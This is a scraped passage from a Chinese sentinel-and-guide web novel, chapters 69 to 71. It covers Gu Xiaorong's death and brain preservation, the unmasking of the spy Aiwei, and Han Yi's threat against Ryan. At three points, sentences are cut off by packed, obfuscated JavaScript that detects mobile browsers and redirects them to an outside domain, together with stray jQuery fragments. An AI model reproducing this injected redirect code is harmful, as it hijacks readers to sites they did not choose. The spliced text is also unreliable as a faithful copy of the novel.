顾小绒睁开了眼,世界在她的视野中剧烈地震荡、坍塌,她本能地朝着眼前这个不算轻柔的怀抱蜷曲身子,可某种感应却在电光火石间穿透她的脑海。知更鸟几乎是顷刻间便脱离出她的身躯,羽翼展开的那一刻,在视线尽头,她望见了薇拉。 女哨兵暖棕色的眸子映着火光,明亮至极,她束好的长发已在刚才激烈的搏斗中被撕散开来,微微卷曲的棕色发丝一根根漂浮在滚烫的气流里。 她的身边有另一道黑色的影子疾驰而来,速度太快,以至于顾小绒的视觉几乎无法捕捉,她的心中警铃大作,几乎是立即倾尽全力、将精神力朝着薇拉的方向倾泻而下,可随即她便像是撞到了一股铁墙那般被击飞了出去,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055907|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个哨兵的身上围绕着一股强大至极的精神力,纯净凌烈、坚不可摧,她碰撞在那股力量上如同以卵击石。 可她仍旧拼死一般的在震荡的气流中抓住了薇拉,连接的那一瞬间,透过薇拉的眼睛,她看清了对面的来人。中央公会唯一仅存的S级哨兵此时正站在她的身前,楚飞居高临下地俯视着她,单手钳住了她的手腕,S级哨兵碾压级的力量使得薇拉瞬时泄了力,已经快要闭合的大门在还剩一丝缝隙的时候被强行逼停。 “快跑!”顾小绒歇斯底里地呼喊在薇拉的脑海中响起:“薇拉——!快跑!快跑!!!” 青筋自她的脖颈迸裂,眼瞳挣出破碎的血点,她拼命挣扎着,恨不能以这幅残躯朝着薇拉爬过去。察觉到怀中向导的挣扎,希里斯沉默地收紧了手臂,哨兵钢铁般的力量压得她全无反抗之力,她眼睁睁看着薇拉距离自己越来越远。 空气因滚烫的灼烧而缓慢扭曲,她感觉到哨兵在抵抗着自己的精神力,她正被薇拉一点一点地推出去,连接终结的那一刻,她看见薇拉对着自己露出了一个温软的微笑,火光投射进她焦糖色的眼眸中,将她的面容映照得明亮璀璨。下一刻,薇拉便斩断了与顾小绒的精神连接,她的左手迅速摸出了身后别着的匕首,朝着楚飞刺去。 那只白皙的手被轻易的制住,S级哨兵的动作如同黑色的残影,短短0.1秒后,薇拉的腹部已被调转过来的匕首刺穿,那双漂亮的眼睛一点点失去了色泽,被楚飞一把拎起,扔向了一边。 “薇拉——!!!”喉头一道腥甜喷涌而出,顾小绒在撕心例肺的嘶喊中昏厥了过去。 一道亮烈的蓝光忽然自顶部垂直而下,剧烈的气流漩涡破空而来,硬生生截断了金属桥梁,逼得希里斯停住了步伐。 顾小绒被过于激烈的情绪冲击,无法停止地呕着鲜血,双目一片黑暗。她感觉到白狼的身子有了片刻的僵硬,鸦片味的信息素以她从未见过的浓度四散开来,将她本已虚弱至极的身体刺激得一阵颤抖。 高阶哨兵的信息素从眼下的一众混战中脱颖而出,两股巨大的气流漩涡碰撞在一起,将空气摩擦到几近燃烧。她很熟悉另一边传来的那份信息素的味道,那是她刻骨铭心的雪松味。 道路尽头是一道黑色挺拔的身影,韩奕长身而立,手中的刀刃寒光闪烁,黑暗哨兵的信息素近乎是瞬间倾轧而来。 而在希里斯的身后,楚飞也已轰开了那扇半闭的机械门,希里斯被首尾包夹,随着爆破声的不断响起,金属桥梁猛烈地震颤着,他们的下方已被火海包围。蓝色与金色的烈焰勾勒出希里斯的轮廓,他的眼下是一片晦暗的鸦青,原本英挺的面容已经消瘦了许多,甚至连扣住向导的手臂都在微不可闻地颤抖着。 脑袋里的金属夹片在此时好死不死地发作,过载的疼痛如同电流一般打向希里斯的四肢百骸。 白狼如今的模样不可谓不狼狈,可楚飞只是遥遥守在后面,并不敢贸然行动。毕竟此次任务的核心目的是将顾小绒活着带回去,现在向导就在希里斯手里,看上去状态十分不好,只要希里斯稍一用力,顾小绒马上就会毙命。韩奕很明显有着与楚飞一样的顾虑,他同样停留在原地,一时不敢有所动作。 护目镜后那双黑色的眸子布满了血丝,实际上,韩奕自己身上的伤口也还没有完全愈合,可他实在没有时间再等下去,他已经失去过她一次,无法再承受第二次。 顾小绒像是破布玩偶一般被希里斯抱在怀里,嘴角渗血、气息奄奄,少将的指节在看到这一幕后瞬间握紧,骨节分明的手背顿时青筋暴起。 似乎被那股迫人的怒意所震慑,昏迷中的顾小绒颤抖着抱紧了希里斯的脖颈。 白狼微一偏头,望见了女孩那张满是泪水与血水的脸,那张凌厉的面容忽然整个柔软了下来,他用前额缓缓触碰了一下顾小绒冰冷的脸颊,轻声道了句:“别怕。” “升级「银雀」安保防御至最高级。” 这道命令意味着顾小绒的生命安全超过了一切,包括泽卡、包括亲卫队、甚至包括希里斯自己。 他将不惜一切代价地保护她。 69. 第六十九章 时间停留在最后这一秒,疾风骤止,万物空寂。 希里斯的身体轻盈地跃下了廊桥,失重感猛烈地侵袭着顾小绒,她的心脏跳动到了极限,像是飞跃过一场遥远险阻的路途,抵达了最后的平静之地。她的身子变得无比轻盈,知更鸟与自身前所未有的融合,在这场疾速的下坠里,她仿佛变成了那只下坠的鸟羽本身。 攀爬爪在白狼的手中飞驰,他们的下方是一片明亮的火海,他飞身而下的那一刻正是焰火最为炽烈的顶峰,而现在已经燃放到极限的气流因遇冷而骤缩,这使得他们可以在短暂的间隙里穿越其中,抵达地底下方的战机停靠处。 在亮烈的火海与夜幕里,白狼仿佛是一颗疾驰下坠的银星。 可他的身后仍然紧跟着两道身影,韩奕与楚飞显然也观测到了地下的爆破情况,几乎是同时飞身跟上。到底是还负担着一个向导的重量,再加上希里斯此时的状态已几近极限,韩奕很快地拉进了与他们的距离。 上方传出一道密集的枪响,分辨不出是南方还是北方动的手。 子弹紧贴着韩奕的身子划过,最近的那一颗距离他的右眼已不足两厘米,为保护视觉,哨兵的身子极快地偏转了角度,细密的子弹从他的身侧尽数穿插而过。黑豹森冷的眸子注视着下方与他已不过十米之隔的白狼,他多少感觉到了一丝不对,太慢了—— 希里斯现在的身手与状态比之从前,几乎完全不在一个等级。 那阵擦过韩奕的枪林弹雨此时已逼近了希里斯身后,按照他曾经的水准,即使是负重了一位向导,也没有理由避不开这阵子弹。可白狼脑袋里的金属夹片几乎是发起烫来,他头痛欲裂、几欲昏厥,绿色的眸子已被浸染得一片血红。顶级的视力与感知让希里斯意识到子弹的迫近,可他的身体已经没有力量再躲避了。 千钧一发的时刻,白狼用尽最后的力气改变了角度,他的身体在最后那一刻猛地侧转,挡住了眼见就要射入顾小绒身体的那颗子弹。 艳丽的血从白色的作战服上绽放开来,希里斯紧抱向导的手微微一松,整个人朝着下方坠去。 “!!!”隔着仅仅十余米的距离,楚飞将眼前发生的这一切看得清清楚楚,他心下一凉,身后又一阵密集的子弹横扫而来,哨兵敏捷地躲了过去,却见他的老师在前方猛然停住了身形,一时锋芒调转、光影凌烈,这场子弹构筑的死亡雨幕被黑色的刀光尽数粉碎。 在韩奕抵挡住泼洒而下的子弹时,希里斯与顾小绒的身影朝着更深的地底坠落,遥远的黑暗深处忽然亮起一道炽烈的白光——小型机甲的顶舱露出一个开口,将二人迅速收入其中,机翼已蓄满了能量,发出闪亮的蓝光。剧烈的气流顿时盘旋而上,刀锋一般朝着他们袭来,楚飞只感觉眼前闪过一阵虚影,下坠的惯性被一股巨力生生截住。 “撤退。”韩奕松开了那只拦住他的手,低声命令道。 “是,长官。”一道冷静的女声接通了讯息:“目标已锁定,立即追踪。” 空军总负责人维多利亚上校此时正在战机的副驾上,她的主驾在听到命令之后迅速调整了方向,窗外是已然陷入一片火海的泽卡,火焰的亮光将黑暗的穹隆映照得一片赤红。 南方的主力军此时已调往德斯菲尔军港,泽卡被突袭得猝不及防。双方空军在此地正面交手,对方的战机均是最新型号,反应也十分迅速,可面对帝国第一的“天焰”特战队,最终还是落了下风。在“天焰”特战队夺下制空权的同时,驾驶机甲的“北芒”特战队已朝着锁定的敌方机甲追去。 因为任务目标需要保障向导的存活,追击的过程有一些波折,他们最后将目标机甲击落在距离泽卡接近一千公里外的戈壁深处。它最后坠落的地方是一处隐匿在地底的军事基地。“北芒”特战队遭到了对方猛烈的火力反扑,因为没有哨兵与向导的特殊作战力量存在,仅凭空军的力量一时很难攻破对方的防御体系。 等到“天焰”特战队将大规模战机调来,双方又足足相持了一个小时,陆军才终于赶了过来加入战场,他们用极大的代价轰开了那里的门。 作战结束时,天边已泛起了一丝鱼肚白,很快玫瑰色的朝霞便铺满了天空。 维多利亚上校神情冷肃地站在被轰开的军事基地旁,士兵们正在开展战场的清理工作,装载着目标向导的机甲幸运地没有爆炸,外型看上去损毁程度也不大。只是他们在外侧相持了太久,等到终于破门而入时,目标向导与希里斯早已踪迹全无。 后续部队在晨光中赶到此处,位于阵列最中间的大型战机想必是长官所处的位置,维多利亚立即赶去了停机坪迎接。晨曦金色的光芒镀上战机冰冷的灰色机体,好似淡去了昨晚鏖战的血腥。 韩奕少将已换下了特种战服,他的身后跟随着本次任务的哨兵主力。布雷塔妮伤势较重,只能与她的哨兵暂时撤回基地处理伤口,跟随在少将身后的两位哨兵,除了楚飞之外,还有新人中表现最为突出的佐伊。 年轻的女哨兵没有太重的负伤,只是左脸包着一块纱布,昨晚的任务里她的搏杀十分出彩。佐伊大体代表了新生代哨兵的风向与心声,那就是对黑暗哨兵的绝对支持、甚至是狂热崇拜。 楚飞紧跟在老师的身后,自从昨晚的意外发生之后,韩奕虽然面上看不出什么,但他总觉得心里有些不安。昨晚的一整场行动我方的发挥堪称完美,几乎将希里斯最为核心的亲卫队杀了个片甲不留,甚至在最后距离完成任务只有一步之遥。 只是他无论如何也没有料想到,这次任务的失败竟然不是来自我方的失误,而是希里斯的失误。 如此远程而来的子弹轨迹,以S级哨兵的水准和力量,即使是在下坠的情况下,也没有任何理由避不开。楚飞满脑子都是昨晚这突如其来的一切,所幸那颗子弹最终打进的是希里斯的身体,他们只能期待目标向导……或者说顾小绒,仍然存活…… 维多利亚的表情让他知道,事情绝对没有他所期望的那样顺遂。果不其然,他们在坠落的机甲中只看见了一滩血迹和一片狼藉。韩奕的手支撑在因为变形而无法完全打开的金属门扉上,黑色的皮质手套下,那扇厚重的门几乎是立即发出一阵尖锐的哀鸣,没过几秒就被活生生撕扯了下来,丢弃在一旁。 维多利亚瞠目结舌地看着眼前的这一切,之前那扇门是他们用重型器械才打开的,数十个士兵费了些力气和时间才勉强打开了这么些,她第一次为哨兵这完全超出常理的力量感到恐惧。 门被彻底拆开后,负责清扫的士兵方便了很多,大量的工作队伍涌了进去,勘察剩余可寻的线索。 少将冰冷的眼眸扫过眼前那滩凝固的血迹,维多利亚立即会意,朝着身旁低声询问,不多时化验结果便递了上来,上面显示这是希里斯的血。至于其他的血迹、痕迹与毛发,还需要一些时间化验。 “附近地区搜索了么?”韩奕收回了迫人的目光,望向维多利亚问道。 “回长官,已全力搜索了。”维多利亚的底气显然有些不足,从机甲坠落到他们扫清障碍已有两个多小时,希里斯必然已将目标转移,他们都知道能搜寻到的希望已经不大了,这意味着任务的失败。 空军上校低下了头,准备迎接一场可能的责骂。 可韩奕一句话也没有说,整整一天一夜不眠不休的持续作战,他的眼里已布满了血丝,眼角也发着红。不知是不是光影折射的缘故,那双深黑瞳仁像是一池枯竭的水,韩奕面容苍白,微光破碎地折射在他的眼底。 另一边,捧着前线战报的士兵正用求助的眼神望向楚飞,他得到的是一个沉默的摇头,少校终于学会了看老师的脸色。可还没等这边处理完毕,另一位士兵就冒冒失失地闯到了韩奕跟前。 “报告长官。”年轻士兵气喘吁吁地行了军礼:“莱安上将请您尽快回到阿维隆军港,他说有要事与您商议。” 耳畔急促的风息从滚烫渐渐冷却,火焰在沉黑的夜幕中燃烧过境,她像是陷入了一场绵长的梦,而后进入了深邃的寂静。 顾小绒睁开眼,冰冷的白光投射进晶莹的蓝色瞳仁,如同坠入湛蓝的湖泊。 听觉久久未曾恢复,她偏过头去,望见了一旁的希里斯,哨兵的面容苍白发青,他的腹部被白纱厚厚地包裹着,血与消毒水的气味充斥着整个房间。她感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055908|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到哨兵冰冷的手轻轻触碰着自己的额间,他干涸的唇开开合合,看上去似乎在唤她的名字。 “不是说要宰了我么?怎么说话不算数?”见她转醒,哨兵的嘴角牵起一丝笑意,可眼眸却盈满了悲伤。 好像……在气头上那会儿…确实有说过这样的话…… 她想要回应他,却没有力气再发出一丝声息,身体变得从未有过的轻盈,所有的痛楚与沉重都被剥离了开来。 没有人说得清楚问题究竟出自哪个环节,也许是她的身体状态原本就过于虚弱,不应该在一场大规模的抢救之后再经历颠簸;也有可能是这段时间注射的致幻剂已太过猛烈,她原本就是那98%无法挺过去的实验向导之一;又或许,白狼会自责自己的安排不够严密,或者说是身体的创伤来的太不是时候,明明他已经有竭尽全力地保护她,那颗子弹也没有伤到她半分,可命运仍旧导向了既定的结局。 总的来说,向导此时的“逸散”程度已达到了南方渴求的极值,达到了成为实验材料的标准,但与此同时,她的身体机能也在疾速衰竭。根据仪器测算,她的心脏将于42分钟之后无可逆转地停跳。 她将目光聚拢在眼前唯一的人身上,希里斯的眼睛泛着红,下颌紧咬,沉默不语。顾小绒微微牵起唇角,浅淡的色泽从瞳孔中盈盈散开,她躺在冷色的白光里,像是逐渐透明的泡沫。 “我…把我……”她已没有力气去动喉头,只能用气音低喃,她看见那双冰绿的瞳孔微微一滞。 “把我交给晏泽……”在她说出这句话的时候,她的心脏已经陷入衰竭,倒计时将一切推向尾声。 希里斯明白她的意思,现在唯一能做的是将她尚且存活的大脑与濒临死亡的身躯切割,将大脑储存,再交还给晏泽,这是任务可以进行下去的唯一选项。南方已积累过大量的活体实验,单独保存大脑从技术上来说已经十分成熟。 “把我的记忆和精神力拷贝出去……送回北方……”这是向导提出的第二个请求,希里斯点头应允,他们对此时悬停在上方的环形装置都并不陌生。交代完这两点后,顾小绒便合上眼,陷入了沉默。 处理完所有的事,她这才放松了身体,五感变得前所未有的清晰,她可以感知到自己的视觉、听觉、聆听自己逐渐孱弱的心跳,与这个世界最后的一丝声息。 “你对韩奕……还有没有什么要说的?”希里斯逆着光站起身来,他的手支撑在一旁的仪器上,她看不清他的脸。 少将么,他都亲自过来杀我了……顾小绒已然涣散的眼眸汇聚起一丝清明,氤氲的水雾逐渐凝结,将落未落。 他果然是……非常…非常的生气啊,还是不要让他再听见自己的名字了吧…… 她怔然望着眼前逐渐模糊的光斑,摇了摇头。希里斯像是哽住了一般,将已到唇边的话语生生咽了回去,许久之后才说道:“在切割掉你的头时,你的意识需要保持清醒……你将进入麻醉觉醒的状态,你的身体会被麻痹,但你的感知仍然存在,你需要活着挺过来,明白么?” 顾小绒点点头,神情平静。 她的视觉消失了,眼前坠入了无垠的黑暗,那双看不见的眼睛空濛地望向前方:“我……会成功执行任务……” “撑住别死。”希里斯的声音低沉而暗哑,到最后顾小绒已经听不清了,所有的感知都变得遥远而朦胧,像是要将她缓缓从世界上剥离。 在她合上眼的那一刻,这里的一切仿佛浸入一片冰寒。 希里斯静静伫立在与她不过两米远的地方,白光圣洁地泼洒而下,将他们二人笼罩其中。微尘在光影中浮沉明灭,那件被血与尘埃沾染的白色战甲,此时就如同发着光一般晶莹剔透。哨兵静静地望着她,身形被勾勒得颀长而挺直,那层污浊的皮剥落了下来,他又变回了从前的模样,变回了那个年少、干净、未曾沾染污浊的军官。 他对着她的方向,庄重地抬起右手,手心朝内、指尖对准太阳穴。 那是一个标准的艾泽洛瑞恩帝国军礼。 知更鸟在银色的守望里落下了最后的气息,莹白的羽翼将她的身躯收拢,最终回归于大地。 70. 第七十章 晨光笼罩在无垠的海面,如同落下一层清浅而灿烂的薄纱。 没有硝烟时,阿维隆的港湾是沉静的,深蓝的海浪静静涌动着扑向礁石,碰撞出雪白的浪花与泡沫,银色的细沙中散落着零星的贝壳与海螺,鱼鳞一般晶莹剔透。 这里的每一寸景致,哨兵都与自己的向导并肩看过,可此时他的指尖停留在屏幕前,冰冷的荧屏显示着没有信号的标志,这意味着整个军港的信号都被切断了。 几只海鸟从苍蓝的天际飞过,他仿佛听见了羽翼振翅的声音,而后转过了身去。 莱安.西里埃克斯上将一身黑色的特种作战服,手肘松散地夹着头盔,他没有戴护目镜,紫色的眸子闪烁着亮烈逼人的光。见对方回过身,莱安微微扬起下颌,露出了平日那种熟悉而冰冷的微笑来: “大清早的,这么着急吗?”他绸缎一般雍容的声音,在此时如同浸满了毒的蛇信,他一字一顿地念出他的名字:“问你话呢,艾维。” 意料之中,回答给他的只有沉默,金发哨兵低垂着头,通讯器被他扣在手里失去了光泽。 莱安从容地踱着步,指尖轻轻敲击在头盔上:“你当然着急了,因为南方军的主力部队全部云集在德斯菲尔军港,如果我没有猜错的话,原本韩奕撤退的路线上,已经布满了伏击的南方哨兵,对不对?” 艾维的眼眸朝着周遭一扫,便感觉到无数的脚步声从里到外地包围了这栋建筑的每一个角落,他现在身处的位置又恰好是地下室的入口,眼前的门是他唯一可能的生路,而此时的莱安正站在这道门前。 “好不容易盼到韩奕负伤加上连轴转,这样好的机会怎么能错过,是不是?”莱安的步伐停止在正门,在这说话的期间,荷枪实弹的哨兵与士兵已经现出身来,无数的枪械上膛,对准了艾维的方向。 “你准备得很细致,可是很遗憾,韩奕并没有如你所愿去德斯菲尔军港……昨晚他去了泽卡。”莱安的笑容凝固了。 “韩奕撤退的路线是经由你过手的,也只有你一个人知道。”上将轻声下了判决,一切昭然若揭。 做为生在皇室、被勾心斗角一点点浇灌长大的权谋机器,莱安能轻易地看出韩奕的本质,他这样一台精密而冷酷的战争兵器,怎么可能展露出任何弱点与破绽。那些刻意展露的负伤、难以自持的失态与急迫,无非都是演出来给内鬼看的把戏而已。 毕竟,即使是在那样爱顾小绒的时候,韩奕都能把她瞒得滴水不漏。这样一个可怕的男人,能玩出今天这一场精彩纷呈的捉奸大戏,莱安一点都不惊讶。他原本只是想旁观一下,却不料最终暴露的竟然是自己的哨兵,于是他变成了自己眼里的笑料本身。 “我怎么会现在才想到呢,楚飞和周烨收复阿维隆时,皇家公会深度参与了此事,安排者也是你。”莱安将头盔扔在地上,语调已近乎咬牙切齿。 艾维一句话也没有回答,也没有看向莱安的眼睛,他的目光一直打量着周遭伏击的哨兵,手微微施力,通讯器便被即刻摁碎在掌心。 在艾维动作的那一瞬,隐藏在周遭的哨兵立即护卫到了莱安的身前。刹那间枪声与刀声猛烈交织,艾维如同一道残影,以一道无法形容的轨迹飞身而上。时间骤然停止,哨兵们迸射的血液与残肢如同定格一般泼洒开来,在场的十多名A级哨兵,就这样顷刻间被艾维杀戮殆尽。 艾维竟然……是一位S级哨兵! 莱安在片刻的错愕后立即发动精神力攻击,却发现此时的艾维如同一片无垠的黑洞,几乎完全无法找到可以攻击与控制的切口。莱安脸色陡变,那张素来高高在上的面容终于崩塌。而在他的身边,中央公会哨兵总负责人曼琳正全副武装、从第二道防御位置上赶来。 “长官小心!”眼见又五位哨兵被艾维解决,已突进到莱安面前,曼琳几乎是想都没想地冲了上去。一旦让艾维挟持莱安,事情就麻烦了。因为距离已经太近,曼琳几乎是下意识地拔出了近战使用的匕首。然而S级的力量又怎是A级能抵挡得了的,艾维几乎是瞬间摁住了曼琳刺向自己的手,随后雪亮的匕首便直直朝着曼琳的腹部捅去—— “!!” 哨兵的刀尖停在了半空,滚烫的血四溅开来,周遭陷入一片恐怖的寂静,那把匕首已插入了莱安的腹部。上将一手把曼琳护在身后,一手拿出匕首,在艾维的刀没入自己身体时,几乎是同归于尽地朝着对方捅去。可惜没有精神力的加持,再强的向导体能也无法比得上哨兵,艾维到底占了先手,莱安的匕首整整晚了两秒才捅进艾维的身体。 这道真空般的裂隙片刻间消失,下一秒无数的哨兵便飞身而上,将艾维牢牢控制住,画面与声音仿佛从此时才重新开始流淌。上将与少校同时受伤,现场一片兵荒马乱。一道身影从现场混乱的人山人海中挤出来,几乎是一个趔趄扑到了曼琳身边。 “曼琳,曼琳!”诺兰轻轻拍着哨兵的脸,声线无法控制地颤抖着。 “我没事,快看看上将!”曼琳一个翻身坐起来抓住诺兰的衣领,惊魂未定地催促道。 紧接在这场血腥黎明之后的,是战斗机遮天蔽日的阴影与巨大的轰鸣。 “少将,您终于回来了。”两位年轻哨兵一见到韩奕,几乎是泪眼汪汪。 早上的突发事件让阿维隆陷入了短暂的混乱,韩奕在回来的路途中就听完了前因后果的全部汇报,他对艾维是间谍这件事表现得波澜不惊,神情中甚至还有一点淡淡的厌倦。 据年轻哨兵汇报,莱安正在紧急处理伤口,而曼琳已经去安排受伤和牺牲的哨兵。好在韩奕暗中指派了曼琳过来执行捕捉间谍的计划,否则单以皇家公会的力量,可能还真的控制不住艾维。 曼琳也确实没有辜负他的期望,吃过之前的好几次教训后,这一次她将围剿间谍的A级哨兵人数提到了120人,几乎将整个围捕现场打造成了铜墙铁壁,无论对方是何种程度的存在,都一定会将其拿下。 只是虽然已做了这样万全的准备,面对S级哨兵断层的力量压制,牺牲的A级哨兵人数也仍旧上升到了13人,受伤人数更是高达42人。 “长官,这是曼琳少校递交给您的资料,请过目。”年轻哨兵将一份加密文件传输给了韩奕:“艾维现在已被控制在2号审讯室,您……” “莱安呢?”韩奕打开了资料,深黑双目略一扫过上面的信息,经过了一整个日夜的征战,少将直到现在也没有合眼休息过一次,可他仍旧沉默地屹立在那里,像是永远不会倒下。 “上将在军港医院的3楼……”年轻哨兵忙答道。 “带我去见他。”少将合上资料命令道。 白色的病房充盈着淡淡的消毒水与血腥味,眼前的场景似曾相识,好像才发生不久,只是韩奕与莱安互相转变了伤员的身份。 韩奕没有携带任何随行人员,而是只身走进了病房。莱安的腹部裹着纱布,看上去并无大碍,只是脸色有些难看。见少将进来,医护们十分快速地完成收尾工作后便退了出去。 不知不觉间,一整个军港医院的3楼都已寂静无声,想来外围已被韩奕肃清。 “你对信息的管控真是越来越严了。”莱安唇色苍白,连带着那双锋芒毕露的眼也失去了光泽,他低啐一声,骂道:“妈的,居然被自己养的狗咬了。” 午后的阳光澄净灿烂,少将拉过椅子坐下,一双修长的腿缓缓交叠,他的整个身子被镀在一层淡金色的微光里,仿佛此时,那股从战场上带下来的寒气才稍微淡去了一些。韩奕再次点开了曼琳发来的资料,当着莱安的面仔细地看起来。 “20年前,你的叔父凯利.西里埃克斯,在和你父亲格雷戈.西里埃克斯的家族夺权中败下阵来。”韩奕那双没有温度的黑眸缓缓浏览过手中的资料,他的语调冷寂而平静:“在那之后,凯利的分支在西里埃克斯家族内部遭到了打压,你的父亲剥夺了他们几乎所有的权力、身份与财产,只保留了唯一的姓氏。虽然完全被压制,但他们仍旧是西里埃克斯家族的一员……” “20年后你父亲病故,你执掌家族时年纪也不过24岁,凯利.西里埃克斯也许觉得是时候发起复仇,这些年他也确实有不少动作,包括但不限于将他的儿子艾维.西里埃克斯培养成整个家族最强的哨兵,并且成功与你匹配。他从小受到的所有训练和培养,都是为了最终可以潜伏在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对于像他和莱安这样的人而言,拆解权谋就如同呼吸一般简单自然,筹谋与城府早已变作了他们身体的一部分,是构筑成他们躯壳与灵魂的基础单元。可韩奕很少直面过、或者说一直以来都在回避这一事实,像是厌倦了这种长久的尔虞我诈与勾心斗角。在他娴熟而精准地剖开盘根错节的真相时,那双黑眸中的厌弃实在是昭然若揭。 莱安的眸子也沉了下去,此时窗外日光正盛,可他的瞳仁却暗沉到透不进一丝光,许久之后才轻声笑道:“查得这么彻底,该说不愧是你?” “你一直针对我,是因为感觉间谍出自哨兵方向,是这样么?”韩奕居高临下地看着对方,不答反问。 “呵,你不也一直怀疑间谍在向导这边。”莱安勾起唇角,没有否认。二人针锋相对了这么久,难得有坦诚相待的这一日,他索性也摊了牌:“你赢了,说吧,想要什么。” “赢”字像是刀子般刺进心脏的深处,久违的疼痛从每一寸细密的骨缝中涌出,韩奕咬紧了下颌。 “怎么这幅表情。”局势彻底定下之后,莱安的神情反倒是带上了一丝云淡风轻的恣意:“耍了晏泽、钓出间谍、端掉泽卡、重创希里斯、握住我的把柄……你已经赢得不能再赢了。” 长久的沉寂后,少将站起身来,迈过了咫尺之隔的距离。哨兵高大的身躯遮蔽了光线,在向导身上投下了大片的阴翳,雪松味的信息素几乎是狂风暴雨地涌来。 突如其来的压迫感使得莱安本能地呼吸一紧,他现在身上有伤,甚至还无法起身,两人此时的位置迫使他不得不抬头望向哨兵的眼睛,对方冷冽的目光如同冰凌一般自上而下、直抵咽喉。 “如果顾小绒不能完好无损地活着回到我身边,我就会摧毁你在意的一切,听明白了么?天鹰。”哨兵的喉结缓缓滚动,吐露出轻如呢喃的低语。 仿佛惊雷炸响耳畔,紫色的瞳仁骤然紧缩,莱安浑身静止,如同被钉住一般停留在原地,动不了分毫。韩奕能查到他的家族,他不意外,可是他竟然连这都知道了,是塞拉菲尔计划已经暴露?还是韩奕的情报网已经到了无法想象的地步…… 莱安收紧了手,一阵冷汗自掌心涌出。 突如其来的敲门声打断了二人的对峙,按理来说,在少将命令封场的状况下,没有人可以在外面敲开门,除非—— 曼琳气喘吁吁地站在门外,破损的作战服都没有来得及换,眼前剑拔弩张的场景超出了她的预计。她在片刻的惊愕后立即感到了后怕与后悔,可她此时也只能艰难地行了个军礼,硬着头皮报告道: “报告长官,中央公会传来消息……周烨醒了。” 71. 第七十一章 丝质手套被脱了下来,温软的指腹摩挲过银色的怀表,晏泽的目光朝下望去,精致的翻盖雕花中簇拥着一位女孩的照片。 女孩大约十三四岁的模样,银色的长发柔软地垂落在肩颈,看上去像是鸟类的绒羽一般柔软,她的眼睛是澄净的湛蓝色,像是剔透无暇的矢车菊,在已然静止的相片里,她笑得腼腆又温柔。 世界上怎么会有如此相像的两个人,以至于瞳孔的蓝色都没有偏差一分一毫呢,晏泽想到。 来自间谍的情报出现了前所未有的重大偏差,南方被北方愚弄,在重大的战略失误中丢掉了泽卡。很显然韩奕已经挖出了他们苦心埋藏多年的间谍网络,南方失去了所有的情报来源,而泽卡的丢失,则意味着他们失去了最大的催化剂生产来源。 整个军营上下陷入一片压抑的仓皇与死寂,晏泽却只是淡然地摩挲着手中的相片,他灰白的面容透着冰冷,腐烂的气息围绕在古龙味的向导素上,这让他看上去像是一具仍在活动的尸体。 直到敲门声响起的那一刻,晏泽还在想着,如果妹妹见到顾小绒会怎么样,她会不会喜欢她,她们会成为朋友吗。 毕竟此时于他而言,除了想着她们之外,似乎已别无他法。 “报告长官。”来人的声线带着明显的颤抖:“希里斯来了,说是有很重要的东西要交给您。”他在汇报完之后便匆匆退了下去,面上带有明显的惧色。 在见到盖着尘布的培养皿时,晏泽的心不可抑制地空了一下,他怔了片刻,随后流露出一个冷淡而嘲讽的笑容。引她入局的是自己,给她注射致幻剂的也是自己,而等到结局真的来临、端得一派虚情假意的又是自己。 他终于还是变成了自己最厌恶的模样。 哨兵的体质强于常人数倍,希里斯虽然受了枪伤,但仍旧可以保持行动,甚至还能亲自将顾小绒从泽卡护送过来。白狼除了脸色略有苍白之外,看上去神色如常,似乎泽卡的陷落并没有对他造成太大的波动。 “你的情报真是被狗吃了,晏泽。”希里斯的面容平静无澜,甚至没有半分的愠怒,幽绿的瞳孔寂静得如同望不见底的深潭。 “抱歉,这一次是我失误。”晏泽收回情绪,面容重归死寂,南方军之前动作频繁,韩奕的强势反击完全在意料之中。只是此时,他的心里已再容不下别的事情,培养皿的大小放不进一个活人,晏泽的心中已大抵得出了答案,却还是被一阵潮湿的痛意侵染。 培养皿的表层是温热的,近似于人体的温度,晏泽的指尖停留在与那里一尺之隔的地方。 见对方迟迟不肯动作,希里斯上前一把扯开了搭在上面的灰色尘布,即使已经有所预计,可真的看见顾小绒的头插满管子、裸露着浸泡在液体中时,晏泽的心间仍旧不可抑制地抽痛了一下。 她银色的长发已被尽数剃掉,细密的管道从削开的后颅涌入,那双湛蓝的眼永远地闭上了。 “东西送到了,她的数值已达标。”希里斯面无表情地朝着玻璃壁上点了点,像是之前每一次经手货物那般冷淡娴熟,修长的指节随后撤回,点了点额间:“你答应我的呢?” 那枚小小的金属夹片仍旧埋藏在脑袋里,非人的痛苦迫使着眼前这头凶悍的野兽向他屈服。 “你先去帮我守住这里。”晏泽没有抬眼,而是语调幽冷地命令道:“一会儿可能会来客人。” 一道冰蓝的微光划破冷寂的空气,晏泽将一管药剂递到了白狼面前,希里斯的面色已苍白如纸,受伤与过载将他折磨得眼眶泛红,哨兵的下颌颤抖着咬紧,却仍旧不得不接过那瓶药剂。 “我死了,没有人可以给你做这个手术。”晏泽语调冰冷,目露寒光:“所以你最好不要让北方军打扰到我。” 